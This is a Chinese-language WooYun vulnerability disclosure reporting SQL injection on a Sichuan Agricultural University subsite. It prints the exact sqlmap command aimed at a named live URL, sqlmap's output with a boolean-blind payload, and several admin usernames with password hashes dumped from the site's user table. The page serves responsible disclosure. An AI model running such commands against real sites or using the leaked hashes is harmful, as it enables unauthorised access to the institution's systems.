当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0171544

漏洞标题:四川农业大学分站存在SQL注射(进后台)

相关厂商:四川农业大学

漏洞作者: linkey

提交时间:2016-01-21 10:08

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-21: 细节已通知厂商并且等待厂商处理中
2016-01-22: 厂商已经确认,细节仅向厂商公开
2016-02-01: 细节向核心白帽子及相关领域专家公开
2016-02-11: 细节向普通白帽子公开
2016-02-21: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

RT(未深入测试 说我懒吧)

详细说明:

sqlmap:

sqlmap.py -u "http://jpk.sicau.edu.cn/2007/4zwslx/newsinfo.asp?id=79" --table


得出:

[00:26:57] [INFO] testing connection to the target url
[00:27:04] [INFO] testing if the url is stable, wait a few seconds
[00:27:06] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[00:27:08] [INFO] searching for dynamic content
[00:27:09] [INFO] dynamic content marked for removal (1 region)
[00:27:12] [INFO] testing if GET parameter 'id' is dynamic
[00:27:13] [INFO] confirming that GET parameter 'id' is dynamic
[00:27:13] [WARNING] GET parameter 'id' appears to be not dynamic
[00:27:14] [WARNING] reflective value(s) found and filtering out
[00:27:14] [INFO] heuristic test shows that GET parameter 'id' might be injectab
le (possible DBMS: Microsoft Access)
[00:27:14] [INFO] testing for SQL injection on GET parameter 'id'
[00:27:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:27:20] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[00:28:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:28:32] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[00:29:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[00:29:38] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 31 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=79 AND 5691=5691
---
[00:30:22] [INFO] testing Microsoft Access
[00:30:23] [INFO] confirming Microsoft Access
[00:30:26] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[00:30:26] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[00:30:26] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'


本人拿的是 表段[Manage_User] 字段[username][password]
[username] : 1 [password] : b960620b64555721
[username] : admin [password] : 1884c11c0ad2e9e1
[username] : fushulan [password] : b10aa37b7531c57d
[username] : lww [password] : ea99459143adebdf
不一一列出来了

漏洞证明:

1.png


2.png

修复方案:

过滤

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-01-22 10:34

厂商回复:

已通知到具体负责单位,修复后,再确认,谢谢

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-06 20:01 | adislj ( 路人 | Rank:4 漏洞数:1 | 我是来学习的)

    真是sqlmap爱好者,请问你是怎么找到那么多注射的漏洞的啊?给个联系方式

  2. 2016-03-06 21:15 | linkey ( 实习白帽子 | Rank:59 漏洞数:27 | sqlmap的超爱好者)

    @adislj 你可以私聊我

  3. 2016-03-06 22:47 | adislj ( 路人 | Rank:4 漏洞数:1 | 我是来学习的)

    @linkey 怎么私聊?qq?wechat?留个联系方式呗